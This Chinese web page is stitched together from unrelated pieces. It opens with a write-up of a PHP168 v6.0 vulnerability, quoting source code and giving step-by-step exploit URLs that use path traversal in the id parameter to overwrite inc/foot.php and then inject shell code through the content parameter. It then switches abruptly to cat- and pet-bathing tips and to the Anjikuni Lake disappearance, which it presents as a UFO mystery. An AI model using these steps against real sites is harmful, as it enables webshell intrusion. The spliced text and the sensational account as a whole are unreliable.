技术文章php168v6.0拿shell漏洞实例
【菜科解读】
分两步 第一 do/下jsarticle.php文件 if(!eregi("^(hot|com|new|lastview|like|pic)$",$type)){ die("类型有误"); } $FileName=dirname(__FILE__)."/../cache/jsarticle_cache/"; if($type== like ){ $FileName.=floor($id/3000)."/"; }else{ unset($id); }
$FileName.="{$type}_{$fid}_{$id}.php"; .................. if(!is_dir(dirname($FileName))){ makepath(dirname($FileName)); } if( (time()-filemtime($FileName))>($webdb["cache_time_$type"]*60) ){ write_file($FileName,"");
//write_file上面覆盖任意php文件！因为id没过滤
}
第二 do/bencandy.php文件 require_once(dirname(__FILE__)."/"."global.php"); !$aid && $aid = intval($id); $id = $aid; $pageget_one("Select R.*,A.* FROM {$pre}article$erp A LEFT JOIN {$pre}reply$erp R ON A.aid=R.aid Where A.aid=$aid orDER BY R.topic DESC,R.orderid ASC LIMIT $min,1");
if(!$rsdb){ showerr("数据不存在!"); }elseif($fid!=$rsdb[fid]){ showerr("FID有误"); } ........................ $Cache_FileName=PHP168_PATH."cache/bencandy_cache/".floor($id/3000)."/{$id}_{$page}.php"; if(!$jobs&&$webdb[bencandy_cache_time]&&(time()-filemtime($Cache_FileName))($webdb[bencandy_cache_time]*60)){
if(!is_dir(dirname($Cache_FileName))){ makepath(dirname($Cache_FileName)); } $content.=" "; write_file($Cache_FileName,$content); //注意这里写文件了 }elseif($jobs== show ){ @unlink($Cache_FileName); } 到这里大概问题也差不多搞清楚了，我们看下$content，其实它是作过初始化的，往上可以看到require(PHP168_PATH."inc/foot.php");这样一句，初始化就在这里，我们利用第一个问题，覆盖这文件里的内容，接下来我们就可以直接提交$content变量注入shell代码了！ 利用： do/jsarticle.php?type=like&id=xhming/../../../../inc/foot do/bencandy.php?fid=4&id=582&content= cache/bencandy_cache/0/582_1.php //记住id值，由于有缓存和时间的判断每一步要等会
技术文章,php168v6.0,拿,shell,漏洞,实例,猫洗澡拿什么代替？正确方法是什么样的
1、清水。
如果没有猫沐浴露，想要给猫洗澡，最好是直接用清水洗。
2、人用沐浴露、香皂或洗手液 。
如果猫的身上太脏需要清洁，可以暂时用人用的沐浴露、香皂或洗手液进行洗澡。
但人用洗护产品可能会导致猫的皮肤抵抗力下降、毛发变粗糙，所以不要长期使用。
此外，给猫洗澡时还要注意水温，一般在38度到40度左右，不要太热，以免烫伤猫。
洗澡后，用浴巾包裹并擦拭猫的身体，然后使用吹风机吹干毛发，避免猫生病。
宠物洗澡的正确方法1、梳理毛发。
在洗澡之前，先梳理宠物的毛发，以去除打结、污垢和杂物，确保毛发充分展开。
2、调制水温。
使用温水调制适宜的水温，水温应该是温热的，不要过热或过冷，以确保宠物感到舒适。
3、湿润毛发。
用温水将宠物的毛发湿润，确保全身都被湿润。
4、涂抹沐浴露。
将适量的宠物专用沐浴露倒在手中，轻轻涂抹在宠物的毛发上，避免将沐浴露涂抹到眼睛、耳朵和口腔。
5、按摩清洁。
使用手指轻轻按摩宠物的皮肤和毛发，确保沐浴露充分渗透到毛发和皮肤中，可以深层清洁。
6、特殊部位注意。
注意清洁特殊部位，如耳朵、爪子、腹部等，使用湿海绵或海绵刷子进行温和的清洁。
7、冲洗干净。
用温水充分冲洗宠物的毛发，确保沐浴露完全冲洗干净，不留下残留物。
8、擦干毛发。
使用干毛巾轻轻擦干宠物的毛发，特别是耳朵、脚掌等部位，防止水分滞留。
9、吹风。
对于需要吹干的宠物，使用吹风机在低热或冷风档位下吹干毛发，确保毛发干燥，但避免过于吹热。
加拿大村民集体神奇失踪事件
安吉库尼湖Anjikuni位于加拿大努纳武特地区，这里有大量的鳟鱼和梭鱼，也有很多雪怪和恶灵的传说。
在1930年，这里还真发生了奇妙的事件，围绕该湖居住的村民竟集体神奇失踪了。
在1930年十一月 ，加拿大毛皮猎手乔·拉贝尔正在寻求一个栖息的地方以熬过寒冷的晚上，当他来安吉库里的沿岸，走向一个因纽特人爱斯基摩人的小村庄。
拉贝尔之前曾来过该地区，并知道这是一个满是帐篷的繁华小渔村，这里有着粗凿的小屋和友好的当地人，但是这次当他喊出问候语的时候，得到的只是他自己的回音，和鞋子踩在雪地上的声音，周围静悄悄。
拉贝尔这时开始紧张起来。
他是一个有着丰富野外活动经验的人，这时他感觉到很不对劲。
因为拉贝尔能看到月光下被映衬的摇摇欲坠的建筑物，但他没有看到熙熙攘攘的人，也听不到雪橇犬的叫声，甚至没有任何生命的迹象。
即使在木屋附近，也没有笑声和交谈声，周围死一般的寂静。
拉贝尔还注意到，这么寒冷的天气没有一个烟囱在冒烟。
就在这时他看到远处有火噼啪作响，拉贝尔努力保持冷静，向着远处的还未燃尽的火苗走去，但当他到达那里时发现那里只剩下刚刚燃尽的焦炭。
拉贝尔回到那个小村庄，进到小屋后他惊奇地发现所有的食品和武器居然都还在。
在另一个小屋，他还发现炖了一锅的驯鹿，不过这些驯鹿已经发霉，旁边还有些海豹皮大衣及丢弃在一边的骨针。
他还看了他们的鱼库，并注意到其供应鱼库里还有很多鱼。
拉贝尔感觉到这一切太奥秘了，，难道一个村的全部村民遗弃自己的食物和武器，以及保暖用品和生活用品离开自己的住所？寒冷和疲劳开始席卷拉贝尔，拉贝尔觉的这是起集体神奇失踪事件，更让他感到胆怯的是这个地方到底发生了什么？拉贝尔做了个决定，当晚他放弃了那里的食物和温暖的住所，冒着严寒来到一个几英里外的电报局， 精疲力竭的拉贝尔终于摇摇晃晃地走进电报局，并在几分钟之内打电报给最接近这里的加拿大皇家骑警RCMP兵营，几个小时以后骑警赶到，拉贝尔终才恢复平静。
根据1984年出版的由Roger和奈杰尔·布伦德尔所著的《世界上最伟大的不明飞行物谜团》的书中描述：当时骑警询问：“在过去几天是否见过什么异常？拉贝尔描述道，他和他的儿子就在几天之前看见过一个奥秘的闪闪发光的物体。
这个很大的圆柱体的物体像子弹一样飞向安吉库尼湖”。
之后骑警到达现场确认了拉贝尔的关于这个荒凉的村庄状态证词，而且他们经过一番调查后发现了更加神奇的迹象。
那就是那个村周围的一片墓地，几乎每一个墓穴都被打开过，更令人费解的是围绕墓地的泥土被冻结的硬如磐石。
之后骑警开始了更大范围的搜索工作，他们在离村庄300米外的地方发现了7只雪橇犬的尸体。
据加拿大病理学家描述这些不幸的雪橇犬都显然死于饥饿，更加奇妙的是当晚骑警看到该地区天空发出了奥秘的蓝光。
1930年11月28日，特约记者，埃米特E.凯莱赫把该神奇失踪事件以“流浪猎手拉贝尔发现死亡之村 “为题发表在1930版的“哈利法克斯先驱报”上，文章描述了拉贝尔的悲惨发现：“我立刻感觉到事情不妙……鉴于半熟的菜，我就知道晚餐的准备过程中，他们感到不安。
在每一个船舱，我发现了一个步枪靠在门边，对于爱斯基摩人来讲没有枪这是条死路，……我明白了有什么可怕的事情发生。
“国外媒体关于安吉库尼湖村村民集体神奇失踪事件，一般有几种推论：外星生物绑架:许多不明飞行物专家猜测，这个偏远的加拿大村的居民很可能已经成为古代上最大规模的外星生物绑架案之一。
这个假设是基于在对拉贝尔描述道，他和他的儿子就在几天之前看见过一个奥秘的闪闪发光的物体。
这个很大的圆柱体的物体像子弹一样 飞向安吉库尼湖”。
以及骑警看到该地区天空曾发出过神奇蓝光而得出的！恶魔攻击:根据因纽特人传说，这片地区有着神奇的雪怪和恶灵。
多维空间:多维空间学说的人认为他们进到另外一个空间了!无论如何，这起神奇失踪事件像谜一样困扰着人们，没有头绪，无从解释。
